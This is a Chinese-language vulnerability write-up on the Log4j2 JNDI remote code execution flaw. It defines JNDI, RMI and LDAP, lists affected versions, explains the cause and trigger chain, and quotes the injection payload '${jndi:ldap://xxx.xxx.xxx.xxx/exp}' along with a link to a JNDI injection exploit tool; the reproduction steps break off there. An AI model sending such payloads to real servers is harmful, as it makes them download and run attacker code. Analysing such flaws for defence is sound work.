摘要
log4j2是Apache开源的一个日志框架,被很多的项目引用。log4j2在整个供应链中举足轻重,其漏洞影响范围也极大,为此我们对漏洞进行复现,并对漏洞产生原因进行分析。
一些概念
log4j:是Apache开源的一个功能强大的日志组件(框架),提供方便的日志记录。
JNDI:JNDI是 Java 命名与目录接口(Java Naming and Directory Interface),JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。
JDBC:JDBC的全称是Java数据库连接(Java Database connect),它是一套用于执行SQL语句的Java API。应用程序可通过这套API连接到关系数据库,并使用SQL语句来完成对数据库中数据的查询、更新和删除等操作。
Java RMI(Java Remote Method Invocation)Java远程方法调用。是Java编程语言里,一种用于实现远程过程调用的应用程序编程接口。通过RMI可以使得客户端运行的程序调用远程服务器上的对象。
LDAP(Lightweight Directory Access Portocol)是一个轻量级目录访问协议。目录是一个为查询、浏览和搜索而优化的数据库,它成树状结构组织数据,类似文件目录一样。目录服务是由目录数据库和一套访问协议组成的系统。
java的JNDI体系结构:
影响范围
log4j2: 2.0~ 2.14.1 版本
利用前提
被攻击者有log4j,版本符合要求
原理分析
漏洞产生的主要原因是log4j在日志输出过程中,未对字符的合法性进行严格的限制,导致加载了JNDI协议的远程恶意对象,从而造成了RCE。
触发过程
- 攻击者使用恶意payload(${jndi:ldap://xxx.xxx.xxx.xxx/exp})进行攻击
- 被攻击者对pyload进行解析,通过ldap调用攻击提供的rmi服务
- rmi服务提供恶意类的地址
- 被攻击访问远程地址并下载恶意类,本地执行并触发漏洞
复现过程
这里我们使用JNDI注入器来提供本地LDAP服务
下载地址:https://github.com/welk1n/JNDI-Injection-Exploit/releases
参考: